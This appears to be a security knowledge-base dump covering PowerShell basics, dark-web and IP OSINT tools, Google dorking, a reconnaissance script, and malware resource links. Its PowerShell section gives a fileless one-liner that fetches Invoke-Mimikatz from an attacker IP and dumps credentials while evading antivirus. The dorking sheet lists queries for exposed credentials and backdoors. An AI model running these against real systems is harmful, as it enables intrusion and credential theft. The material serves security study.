url="https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf" %} 4 | 5 | {% embed url="https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf" %} 6 | 7 | 8 | 9 | ## Resources 10 | 11 | * [A Unix Person's Guide to PowerShell](https://leanpub.com/aunixpersonsguidetopowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 12 | * [Creating HTML Reports in PowerShell](https://leanpub.com/creatinghtmlreportsinwindowspowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 13 | * [DevOps: The Ops Perspective](https://leanpub.com/devopstheopsperspective) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 14 | * [Ditch Excel: Making Historical & Trend Reports in PowerShell](https://leanpub.com/ditchexcelmakinghistoricalandtrendreportsinpowershell) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 15 | * [Layman’s Guide to PowerShell 2.0 remoting](https://ravichaganti.com/ebooks/AlaymansguidetoPowerShell2remotingv2.pdf) (PDF) 16 | * [Learn PowerShell Core 6.0](https://www.packtpub.com/free-ebooks/learn-powershell-core-60) - David das Neves, Jan-Hendrik Peters (Packt account _required_) 17 | * [Learn PowerShell in Y Minutes](https://learnxinyminutes.com/docs/powershell/) 18 | * [Mastering PowerShell v2](http://community.idera.com/powershell/powertips/b/ebookv2#pi619PostSortOrder=Ascending) 19 | * [PowerShell 101: The No-Nonsense Beginner’s Guide to PowerShell](https://leanpub.com/powershell101) - Mike F. Robbins _(Leanpub account or valid email requested)_ 20 | * [PowerShell 2.0 – One CMDLET At A Time](http://www.jonathanmedd.net/wp-content/uploads/2010/09/PowerShell\_2\_One\_Cmdlet\_at\_a\_Time.pdf) (PDF) 21 | * [PowerShell Notes for Professionals](http://goalkicker.com/PowerShellBook/) - Compiled from StackOverflow documentation (PDF) 22 | * [PowerShell Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/powershell) (PDF, Kindle) (email address _requested_, not required) 23 | * [PowerShell Tips to Write By](https://leanpub.com/powershelltips) - Adam Bertram _(Leanpub account or valid email requested)_ (🚧 _in process_) 24 | * [Secrets of PowerShell Remoting](https://leanpub.com/secretsofpowershellremoting) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 25 | * [The Big Book of PowerShell Error Handling](https://leanpub.com/thebigbookofpowershellerrorhandling) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 26 | * [The Big Book of PowerShell Gotchas](https://leanpub.com/thebigbookofpowershellgotchas) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 27 | * [The Monad Manifesto - Annotated](https://leanpub.com/themonadmanifestoannotated) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 28 | * [The PowerShell + DevOps Global Summit Manual for Summiteers](https://leanpub.com/windowspowershellnetworkingguide) - The DevOps Collective, Inc. (PDF, ePub, MOBI, HTML) _(Leanpub account or valid email requested)_ 29 | * [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/powershell) 30 | * [https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners](https://docs.quasarops.com/en/public/the-soc-analyst-scrolls/one-liners) 31 | * [https://xapax.github.io/security/#basics\_of\_windows/powershell/](https://xapax.github.io/security/#basics\_of\_windows/powershell/) 32 | * [https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/](https://xapax.github.io/security/#basics\_of\_windows/powershell\_scripting2/) 33 | * [https://xapax.github.io/security/#basics\_of\_windows/cmd/](https://xapax.github.io/security/#basics\_of\_windows/cmd/) 34 | * [https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf](https://wiki.sans.blue/Tools/pdfs/PowerShell.pdf) 35 | * [https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf](https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf) 36 | -------------------------------------------------------------------------------- /code-tools/powershell/common-commands.md: -------------------------------------------------------------------------------- 1 | # Common Commands 2 | 3 | ## Execution policy - UAC 4 | 5 | ``` 6 | > Get-ExecutionPolicy 7 | > Set_ExecutionPolicy Unrestricted 8 | ``` 9 | 10 | ## Variables 11 | 12 | Variables in PowerShell are prefixed with a dollar ($) symbol and assigned by stating the variable name that is followed by an equals sign (=) and the desired value. 13 | 14 | ``` 15 | PS > $foo = ‘bar’ #Variables can be updated by setting them again. 16 | To display a variable just call the variable by name: 17 | PS > $foo 18 | ``` 19 | 20 | ## File Manipulation 21 | 22 | * Using the 'Get-Content' cmdlet, it is possible to read in the contents of a file, the result of which can be stored in a variable for later use or displayed on screen. 23 | * When reading in a file with Get-Content, it is possible to specify how much of the file is read. This is similar to the head and tail commands in Linux. 24 | * With the -TotalCount parameter you can specify how many lines you would like PowerShell to read (from the top, e.g. Get-Content \ -TotalCount 5). 25 | * The -Tail parameter will do the same but from the bottom of the file. 26 | * In addition to reading files it is possible to write data to them, either by using Set-Content to create and overwrite files or Add-Content which can append content to an existing file. 27 | * Syntax: Set-Content -Value "This is a test" -Path ./test.txt. 28 | * Remember you can use Get-Content to read the file at any time. 29 | 30 | ``` 31 | > Get-Content -Path .\MOCK_DATA.csv 32 | ``` 33 | 34 | * [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-content?view=powershell-6) 35 | * [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-content?view=powershell-6) 36 | * [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/add-content?view=powershell-6) 37 | * [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Select-String?view=powershell-6) 38 | 39 | ## File Transfer 40 | 41 | ``` 42 | > powershell -c “new-object System.Net.WebClient).DownloadFile([URL],'[destination file path and file name]')” 43 | -c executes the subsequent command 44 | new-object - instantiate a .NET or COM object 45 | WebClient - chosen class of object 46 | DownloadFile - method of action 47 | ``` 48 | 49 | I Module Manipulation\ 50 | ◇ [https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Core/Import-Module?view=powershell-6)\ 51 | ◇ [https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6](https://docs.microsoft.com/en-gb/powershell/module/microsoft.powershell.core/get-module?view=powershell-6)\ 52 | ◇ [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/remove-module?view=powershell-6) 53 | 54 | ## Download files and inject them directly into memory 55 | 56 | Antivirus will scan the disk of your target regularly and block any files that you download on to it, if they are flagged as a virus. You can Bypass this by invoking a powershell command call to pull a remote file directly into memory 57 | 58 | ``` 59 | > IEX (New-Object Net.WebClient).DownloadString('http://[attacker IP]/[target powershell script]');[New Powershell Command] 60 | Example: 61 | > IEX(New-Object Net.WebClient).DownloadString('http://10.102.10.91:1234/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds]E 62 | ``` 63 | 64 | * IEX - pull directly into memory 65 | * Net.WebClient - Needed to run the DownloadString function 66 | 67 | ## EventLog 68 | 69 | PowerShell comes with a cmdlet that allows you to query event logs from the command line. By default, it will query the local machine; however, it can also be used to query logs from remote connections. It has several options that can be used to filter the query and, similar to most PowerShell, the output can be piped to other filters like search and output. 70 | 71 | ``` 72 | List of logs and their entries 73 | > Get-eventlog -list 74 | See all the logs of a specific type you can pass the name of the log to the cmdlet. So to see all system logs we can use: 75 | > Get-eventlog system 76 | Filter logs by time 77 | > Get-eventlog system -after (get-date).addhours(-1) 78 | Advanced filtering by grouping and sorting 79 | > Get-Eventlog -LogName system -Newest 1000 | group-object -Property source -noelement | sort-object -Property count -descending 80 | Export logs to file 81 | > Get-Eventlog application | export-csv - path application.csv 82 | Clear Event Logs 83 | > Clear-Eventlog "Windows PowerShell" -clear 84 | ``` 85 | 86 | -------------------------------------------------------------------------------- /cyber-intelligence/osint/dark-web-search.md: -------------------------------------------------------------------------------- 1 | # Dark-Web Search 2 | 3 | ## **Dark Web Search** 4 | 5 | Searching the Dark/Deep web is a great intelligence activity that can yield a multitude of different treasures. This is a great resource for spotting early indicators of a breach or getting the latest trends in cyber crime. 6 | 7 | \*Darknet and .onion sites change frequently. This list may not be up to date. 8 | 9 |
10 | 11 | Clearnet Search Engines 12 | 13 | * [Ahmia](https://ahmia.fi/) - Ahmia searches hidden services on the Tor network. To access these hidden services, you need the [Tor browser bundle](https://www.torproject.org/projects/torbrowser.html). 14 | * [Dark Search](https://darksearch.io/) - A clearnet search engine for searching the Dark Web 15 | * [https://onionlandsearchengine.com/](https://onionlandsearchengine.com/) - A search engine for the deep web. Official onion site can be found [here.](http://3bbad7fauom4d6sgppalyqddsqbf5u5p56b5k5uk2zxsy3d6ey2jobad.onion/) 16 | * [https://www.dargle.net/search](https://www.dargle.net/search) - A data aggregation platform for dark web domains. Using this directory, we can generate a portfolio of domains and their statuses, gain insight into the content and nature of these services, as well as the connections between them. 17 | * [https://torwhois.com](https://torwhois.com) - TorWhois Onion Search 18 | * [TheDevilsEye](https://github.com/rlyonheart/thedevilseye) — Search links in #darknet (.onion domain zone) from command line without using a Tor network. 19 | * [Onion Search Engine (+maps, mail and pastebin)](https://onionsearchengine.com/) 20 | * [KILOS Darknet Search Engine](http://dnmugu4755642434.onion.pet/captcha) 21 | 22 |
23 | 24 |
25 | 26 | Invisible Internet Project (I2P) 27 | 28 | * [https://i2psearch.com/](https://i2psearch.com/) - A I2P search engine. I2P gateway is used for the search results to access I2P hidden services, known as "eepsites". 29 | * [https://ahmia.fi/i2p/](https://ahmia.fi/i2p/) - Another great I2P search engine. 30 | * [http://nekhbet.com/i2p\_links.shtml](http://nekhbet.com/i2p\_links.shtml) - A neatly organized directory of eepsites. 31 | 32 |
33 | 34 |
35 | 36 | Deep/Darknet Search Utility 37 | 38 | * [Onion Link](http://onionlink.online) - Constantly curated list of popular Dark Web links. 39 | * [Tor2Web ](https://tor2web.org/)- Tor2web is a software project to allow [Tor hidden services](https://en.wikipedia.org/wiki/List\_of\_Tor\_hidden\_services) to be accessed from a standard [browser](https://en.wikipedia.org/wiki/Web\_browser) without being connected to the [Tor network](https://en.wikipedia.org/wiki/Tor\_\(anonymity\_network\)) 40 | * [Haystack](http://haystak5njsmn2hqkewecpaxetahtwhsbsa64jom2k22z5afxhnpxfid.onion/) - Search engine service to discover hidden services and gain access to onion sites or eepsites in the I2P network. 41 | * [https://www.darkowl.com/darknetdataproducts](https://www.darkowl.com/darknetdataproducts) - A great tool for searching through different darknets including TOR, I2P, ZeroNet and paste sites. Requires a paid subscription. 42 | * [https://iaca-darkweb-tools.com](https://iaca-darkweb-tools.com) - A collection of darkweb search tools. Allows you to query .onion search engines, marketplaces and social media sites. 43 | 44 |
45 | 46 |
47 | 48 | IPFS - Interplanetary File System 49 | 50 | A peer-to-peer hypermedia protocol designed to preserve and grow humanity's knowledge by making the web upgradeable, resilient, and more open. 51 | 52 | * [https://www.ipse.io/](https://www.ipse.io/) - An IPFS search engine. 53 | * [https://ipfs-search.com/#/search](https://ipfs-search.com/#/search) - Another search engine for IPFS. 54 | * [https://awesome.ipfs.io/datasets/](https://awesome.ipfs.io/datasets/) - A huge collection of all sorts of different data sets hosted via IPFS. 55 | 56 |
57 | 58 |
59 | 60 | Misc Sites and Tools 61 | 62 | * [Dark Web Exposure and Phishing Detection Test](https://www.immuniweb.com/darkweb/) 63 | * [Onion Search ](https://github.com/megadose/OnionSearch)- OnionSearch is a Python3 script that scrapes urls on different ".onion" search engines. 64 | * [TorBot](https://github.com/DedSecInside/TorBot) - Open source Intel tool for searching and crawling the Dark Web. 65 | * [https://torwhois.com](https://torwhois.com) - Look up an .onion address and see basic information such as date last seen, open ports, running software and banners. You can also query specific onions from the command line: `whois -h torwhois.com facebookcorewwwi.onion` 66 | * [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. 67 | * [https://darktracer.com/](https://darktracer.com/) - Darkweb intelligence too. Has a free version for a limited number of queries. 68 | * [https://socradar.io/labs/darkmirror/](https://socradar.io/labs/darkmirror/) - Darkweb forum monitoring service 69 | 70 |
71 | 72 |
73 | 74 | Reference 75 | 76 | * [https://www.osintcombine.com/post/dark-web-searching](https://www.osintcombine.com/post/dark-web-searching) 77 | * [https://www.osintme.com/index.php/2019/11/24/darknet-diving-conducting-osint-on-onion-sites/](https://www.osintme.com/index.php/2019/11/24/darknet-diving-conducting-osint-on-onion-sites/) 78 | * [https://www.osintme.com/index.php/2020/11/21/list-of-darknet-markets-for-investigators/](https://www.osintme.com/index.php/2020/11/21/list-of-darknet-markets-for-investigators/) 79 | * [https://webhose.io/blog/dark-web/the-top-5-dark-web-search-engines/](https://webhose.io/blog/dark-web/the-top-5-dark-web-search-engines/) 80 | 81 |
82 | -------------------------------------------------------------------------------- /cyber-intelligence/osint/ip-address.md: -------------------------------------------------------------------------------- 1 | # IP Address 2 | 3 | ## **IP Address** 4 | 5 | When researching IP addresses, it is important to know the context of the search you are performing. There are a multitude of sources to research IP addresses and they can vary depending on what information you want to learn about them. For offensive security, threat hunting, and attack surface mapping, we want current registration data, and any associated data points that our searches may return. These can include hosted domains, ASN, associated network artifacts, etc. 6 | 7 | For defensive operations, such as those of the security blue team, you would be looking for historical data and activity data of the IP address. These tools will be detailed in another section about threat research. The below links and tools are specifically for offensive intelligence gathering and reconnaissance. 8 | 9 | **IP.html** 10 | 11 | IP.html is another handy little tool created by Michael Bazzel that makes initial research of an IP address quite easy. This tool will populate multiple searches automatically for you to see what information you can gather about your target. 12 | 13 | Sites Include: Bing, Reverse IP, Locate IP, Port Scan, IP Whois, TraceRoute, Who.IS IP, Cynsys, ThreatCrowd, Shodan, ZoomEye, Torrents, "That's Them", WeLeakInfo, Dehashed, and UltraTools IP. 14 | 15 | {% file src="../../.gitbook/assets/IP (1).html" %} 16 | 17 | 18 | 19 | ### **Whois Vs. RDAP** 20 | 21 | Whois is a great tool for gathering registration data for IP addresses and domains. The only problem with it is that there is not a clearly defined structure to organize registration data points and keep them maintained. Enter RDAP. A new Standard as of 2019, RDAP lookups will quickly replace WHOIS lookups. 22 | 23 | * RDAP lookup tool - [https://client.rdap.org](https://client.rdap.org) 24 | * General information on RDAP - [https://www.icann.org/rdap](https://www.icann.org/rdap) 25 | 26 | ### **Is this a Tor Node?** 27 | 28 | Maybe? Check it with this! [https://metrics.torproject.org/exonerator.html](https://metrics.torproject.org/exonerator.html) 29 | 30 | Torrent IP addresses **-** [https://iknowwhatyoudownload.com](https://iknowwhatyoudownload.com) 31 | 32 | [https://seon.io/intelligence-tool/#ip-analysis-module](https://seon.io/intelligence-tool/#ip-analysis-module) - Check if an IP is a tor node, VPN, proxy and even run a blacklist check. 33 | 34 | ### Is this a VPN Exit Node? 35 | 36 | * [https://www.ipqualityscore.com/vpn-ip-address-check](https://www.ipqualityscore.com/vpn-ip-address-check) 37 | 38 | ### **IP Location Info** 39 | 40 | There are a several ways to find [geolocation](https://www.iplocation.net/geolocation) of a user: HTML5 API, Cell Signal and IP Address to name a few. If you have an IP Address and want to find the geolocation data for the target, the below sites use various methods to determine that data. 41 | 42 | \*Note: It is recommended that you use as many tools as possible for a consensus determination on the location. Some times results will show the location of the registrant, but not the location of the IP in use. 43 | 44 | * [https://www.iplocation.net/](https://www.iplocation.net/) 45 | * [https://www.ip2location.com/](https://www.ip2location.com/) 46 | * [https://www.ipfingerprints.com/](https://www.ipfingerprints.com/) 47 | * [https://ipstack.com/](https://ipstack.com/) 48 | 49 | ### Misc Tools 50 | 51 | * [https://focsec.com/](https://focsec.com/) - Determine if a user’s IP address is associated with a VPN, Proxy, TOR or malicious bots 52 | -------------------------------------------------------------------------------- /cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md: -------------------------------------------------------------------------------- 1 | # Google Dorking 2 | 3 | ### Google Dork Collections 4 | 5 | * [https://github.com/BullsEye0/google\_dork\_list](https://github.com/BullsEye0/google\_dork\_list) 6 | * [https://github.com/rootac355/SQL-injection-dorks-list](https://github.com/rootac355/SQL-injection-dorks-list) 7 | * [https://github.com/unexpectedBy/SQLi-Dork-Repository](https://github.com/unexpectedBy/SQLi-Dork-Repository) 8 | * [https://github.com/thomasdesr/Google-dorks](https://github.com/thomasdesr/Google-dorks) 9 | * [https://github.com/arimogi/Google-Dorks](https://github.com/arimogi/Google-Dorks) 10 | * [https://github.com/aleedhillon/7000-Google-Dork-List](https://github.com/aleedhillon/7000-Google-Dork-List) 11 | * Bug Bounty Dorks 12 | * [https://github.com/sushiwushi/bug-bounty-dorks](https://github.com/sushiwushi/bug-bounty-dorks) 13 | * [https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks](https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks) 14 | * [https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt](https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt) 15 | * Backlinks 16 | * [https://github.com/alfazzafashion/Backlink-dorks](https://github.com/alfazzafashion/Backlink-dorks) 17 | * [https://www.techywebtech.com/2021/08/backlink-dorks.html](https://www.techywebtech.com/2021/08/backlink-dorks.html) 18 | * [https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/](https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/) 19 | * CMS Dorks 20 | * Wordpress [https://pastebin.com/A9dsmgHQ](https://pastebin.com/A9dsmgHQ) 21 | * Magento [https://pastebin.com/k75Y2QhF](https://pastebin.com/k75Y2QhF) 22 | * Joomla [https://pastebin.com/vVQFTzVC](https://pastebin.com/vVQFTzVC) 23 | 24 | ### Google Dorking Cheatsheet 25 | 26 | * @\[Search term] Searches a keyword on social media 27 | * “Search term” Searches an exact match 28 | * “Search \* term” Searches the \* for any wildcard 29 | * (+) (-) (“) (.) (\*) (|) (“String” | String) Force inclusion of something common Exclude a search term Use quotes around a search phrase A single-character wildcard Any word boolean ‘OR‘ Parenthesis group queries 06 cache:\[url] Searches for cached versions of a site or page 30 | * numrange\[#]..\[#] 31 | * daterange:startdate-enddate Must be expressed in \*Julian time (and only in integers) 32 | * The number of days that have passed since January 1, 4713 B.C. unlike Gregorian days (those on the calendar) 33 | * link: \[url] Shows links to the URL and helps determine site relation- ships and more importantly trust relationships; this gets treated like normal search text (not a modifier) when com- bined with other search terms though. 34 | * related: \[url] Searches related to your search term 35 | * intitle: string to search Show only those pages that have the term in their html title 36 | * allintitle:\[string] Similar to intitle, but looks for all the specified terms in the title 37 | * inurl: \[string] Searches for the specified term in the url; for example inurl:”login.php”. (Can also do :port) 38 | * allinurl:\[url] Same as inurl, but searches for all terms in the url 39 | * intext:“String to search” Searches the content of the page and similar to a plain Google search; for example intext:”index of /”. 40 | * allintext: “String to search” Similar to intext, but searches for all terms to be present in the text 07 filetype: \[xls] Searches for specific file types; filetype:pdf will looks for pdf files in websites. 41 | * phonebook:\[name] 42 | * \[URL]\&strip=1 Added to the end of a cached URL only shows Google’s text, not the target’s; perform a Google search, right-click copy/ paste the link and then paste the URL adding \&strip=1 43 | * site.com/search?q=inurl:admin.PhP\&start=10 Changing your query to vary the extension case and modifying the query can help defeat some of Google’s blockers which work to defeat your search query 44 | * site.com/search?q=@email.com Searching for email addresses 45 | * site:site.com -site:obivousresult.com Eliminates obvious results, reducing most public, top ‘ranked’ unwanted results and bringing more useful results to the top of the search; you are looking for the relation- ship of links in both inbound and outbound directions 46 | * inurl: Port scanning, can be combined with the site operator 47 | * inurl:8080 -intext:8080 Servers listening on port 8080 removing results with 8080 in the page 48 | * filetype:inc intext:mysql\_connect filetype:sql + “IDENTIFIED BY” -cvs Search combinations that goes after files with cleartext SQL passwords and credentials 49 | * intitle:”VNC viewer” Example of a search for sites that launch a VNC client 50 | 51 | **Source:** [**https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf**](https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf)**** 52 | -------------------------------------------------------------------------------- /cyber-intelligence/osint/search-engines/goohak.sh-code.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: https://github.com/1N3/Goohak/blob/master/goohak 3 | --- 4 | 5 | # Goohak.sh Code 6 | 7 | ``` 8 | #!/bin/bash 9 | # + -- --=[GooHak by @xer0dayz 10 | # + -- --=[http://sn1persecurity.com 11 | # 12 | # ABOUT: 13 | # GooHak is a shell script to automatically launch google hacking queries against a target domain to find vulnerabilities and enumerate a target. 14 | # 15 | # DEPENDENCIES: 16 | # iceweasel or xdg-utils (apt-get install xdg-utils) 17 | # Linux 18 | 19 | TARGET="$1" 20 | BROWSER="firefox" # CHANGE TO DEFAULT BROWSER - FOR OSX, USE "open". 21 | VER="1.9" 22 | OKBLUE='\033[94m' 23 | OKRED='\033[91m' 24 | OKGREEN='\033[92m' 25 | OKORANGE='\033[93m' 26 | DELAY=5 27 | RESET='\e[0m' 28 | 29 | if [ -z $TARGET ]; then 30 | echo -e "$OKORANGE + -- --=[https://sn1persecurity.com$RESET" 31 | echo -e "$OKORANGE + -- --=[GooHak v$VER by @xer0dayz$RESET" 32 | echo -e "$OKORANGE + -- --=[Usage: goohak $RESET" 33 | exit 34 | fi 35 | 36 | # LOAD WEBSITE IN A WEB BROSER 37 | $BROWSER http://$TARGET 2> /dev/null 38 | $BROWSER https://$TARGET 2> /dev/null 39 | # TCPUTILS 40 | $BROWSER http://www.tcpiputils.com/browse/domain/$TARGET 2> /dev/null 41 | # NETCRAFT 42 | $BROWSER http://toolbar.netcraft.com/site_report?url=$TARGET 2> /dev/null 43 | # SHOWDAN 44 | $BROWSER https://www.shodan.io/search?query=$TARGET 2> /dev/null 45 | # CENSYS 46 | $BROWSER https://www.censys.io/ipv4?q=$TARGET 2> /dev/null 47 | # CRT.SH 48 | $BROWSER https://crt.sh/?q=%25.$TARGET 2> /dev/null 49 | # ZONE-H 50 | $BROWSER "https://www.google.ca/search?q=site:zone-h.org+$TARGET" 2> /dev/null 51 | # XSSPOSED 52 | $BROWSER "https://www.xssposed.org/search/?search=$TARGET&type=host" 2> /dev/null 53 | # SECURITYHEADERS 54 | $BROWSER "https://securityheaders.io/?q=$TARGET" 2> /dev/null 55 | # SSLLABS 56 | $BROWSER https://www.ssllabs.com/ssltest/analyze.html?d=$TARGET 2> /dev/null 57 | # HEADER CHECK 58 | $BROWSER https://securityheaders.io/?q=$TARGET 2> /dev/null 59 | # THREATCROWD 60 | $BROWSER https://www.threatcrowd.org/domain.php?domain=$TARGET 2> /dev/null 61 | # ZOOMEYE 62 | $BROWSER https://www.zoomeye.org/searchResult/bugs?q=$TARGET 2> /dev/null 63 | # DOMAIN INFO SEARCH 64 | $BROWSER https://securitytrails.com/search/domain/$TARGET 2> /dev/null 65 | # WAYBACKMACHINE 66 | $BROWSER https://web.archive.org/web/*/$TARGET 2> /dev/null 67 | # REVERSEDNS 68 | $BROWSER http://viewdns.info/reversewhois/?q=$TARGET 2> /dev/null 69 | # PUNKSPIDER 70 | $BROWSER "https://www.punkspider.org/#searchkey=url&searchvalue=$TARGET&pagenumber=1&filterType=or" 2> /dev/null 71 | 72 | sleep $DELAY 73 | # FIND SUBDOMAINS 74 | $BROWSER "https://www.google.ca/search?q=site:*.$TARGET" 2> /dev/null 75 | $BROWSER "https://www.google.ca/search?q=site:*.*.$TARGET" 2> /dev/null 76 | 77 | sleep $DELAY 78 | # FIND LOGIN PAGES: 79 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+username+OR+password+OR+login+OR+root+OR+admin" 2> /dev/null 80 | # SEARCH FOR BACKDOORS: 81 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+inurl:shell+OR+inurl:backdoor+OR+inurl:wso+OR+inurl:cmd+OR+shadow+OR+passwd+OR+boot.ini+OR+inurl:backdoor" 2> /dev/null 82 | # FIND SETUP OR INSTALL FILES: 83 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+inurl:readme+OR+inurl:license+OR+inurl:install+OR+inurl:setup+OR+inurl:config" 2> /dev/null 84 | # FIND WORDPRESS PLUGINS/UPLOADS/DOWNLOADS: 85 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+inurl:wp-+OR+inurl:plugin+OR+inurl:upload+OR+inurl:download" 2> /dev/null 86 | # FIND OPEN REDIRECTS: 87 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+inurl:redir+OR+inurl:url+OR+inurl:redirect+OR+inurl:return+OR+inurl:src=http+OR+inurl:r=http" 2> /dev/null 88 | 89 | sleep $DELAY 90 | # FIND FILES BY EXTENSION: 91 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+ext:cgi+OR+ext:php+OR+ext:asp+OR+ext:aspx+OR+ext:jsp+OR+ext:jspx+OR+ext:swf+OR+ext:fla+OR+ext:xml" 2> /dev/null 92 | # FIND DOCUMENTS BY EXTENSION: 93 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+ext:doc+OR+ext:docx+OR+ext:csv+OR+ext:pdf+OR+ext:txt+OR+ext:log+OR+ext:bak" 2> /dev/null 94 | # FIND APACHE STRUTS RCE's: 95 | $BROWSER "https://www.google.ca/search?q=site:$TARGET+ext:action+OR+struts" 2> /dev/null 96 | # FIND PASTEBIN POSTS FOR DOMAIN: 97 | $BROWSER "https://www.google.ca/search?q=site:pastebin.com+$TARGET" 2> /dev/null 98 | # FIND EMPLOYEES ON LINKEDIN: 99 | $BROWSER "https://www.google.ca/search?q=site:linkedin.com+employees+$TARGET" 2> /dev/null 100 | ``` 101 | -------------------------------------------------------------------------------- /dfir-digital-forensics-and-incident-response/malware.md: -------------------------------------------------------------------------------- 1 | # Malware 2 | 3 | Wait wait wait, why are bad things here? 4 | 5 | Well, because you need to know about them and knowledge is the best defense. I have lumped in some things that are not necessarily bad/malicious, but that can often be exploited or used for nefarious purposes. You need to be aware of them so that you can use them to keep yourself safe, as well as understand the tools/techniques that are out there and possibly being used by malicious actors. 6 | 7 | I will repeat: **Do not use the following knowledge for illegal or malicious purposes.** Dont be that guy. 8 | 9 | {% hint style="danger" %} 10 | Malware - For research purposes ONLY 11 | {% endhint %} 12 | 13 | ## Guides and Resources 14 | 15 | * [Awesome Lists Collection: Malware](https://github.com/fabacab/awesome-malware) 16 | * [Awesome Lists Collection: Linux Rootkits](https://github.com/milabs/awesome-linux-rootkits) 17 | * [Awesome Lists Collection: RATs](https://github.com/alphaSeclab/awesome-rat/blob/master/Readme\_en.md) 18 | * [Infosec\_Reference/Malware](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Malware.md) 19 | * [Infosec\_Reference/Rootkits](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Rootkits.md) 20 | * [fireELF](https://github.com/rek7/fireELF) - fireELF is a opensource fileless linux malware framework thats crossplatform and allows users to easily create and manage payloads. By default is comes with 'memfd\_create' which is a new way to run linux elf executables completely from m 21 | * [https://0xpat.github.io/](https://0xpat.github.io/) - Red/Purple teamer with great write ups on malware development 22 | * [Coldfire](https://github.com/redcode-labs/Coldfire) - Golang malware development library 23 | * [https://0xpat.github.io/Malware\_development\_part\_1/](https://0xpat.github.io/Malware\_development\_part\_1/) 24 | * [https://0xpat.github.io/Malware\_development\_part\_2/](https://0xpat.github.io/Malware\_development\_part\_2/) 25 | * [https://class.malware.re/](https://class.malware.re/) 26 | * [https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1](https://www.cyberark.com/resources/threat-research-blog/fantastic-rootkits-and-where-to-find-them-part-1) 27 | 28 | ## **Malware Sample Repositories** 29 | 30 | * [Clean-MX Malware Repository](https://support.clean-mx.com/clean-mx/viruses.php) 31 | * [Contagio malware dump](https://contagiodump.blogspot.com/) 32 | * [Cert-PA Malware index](https://infosec.cert-pa.it/analyze/submission.html) 33 | * [InQuest Labs - InQuest.net](https://labs.inquest.net/) 34 | * [Malshare Free Malware Repository](https://malshare.com/) 35 | * [VirusBay](https://beta.virusbay.io/) [VirusShare.com](https://virusshare.com/) 36 | * [vx-underground - home](https://vx-underground.org/) 37 | * [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public. 38 | * [https://github.com/boozallen/MOTIF](https://github.com/boozallen/MOTIF) - The Malware Open-source Threat Intelligence Family (MOTIF) dataset contains 3,095 disarmed PE malware samples from 454 families, labeled with ground truth confidence. 39 | * [https://github.com/executemalware/Malware-IOCs](https://github.com/executemalware/Malware-IOCs) 40 | 41 | ## Botnets 42 | 43 | * [BYOB - Build Your Own Botnet](https://github.com/malwaredllc/byob) - An open-source post-exploitation framework for students, researchers and 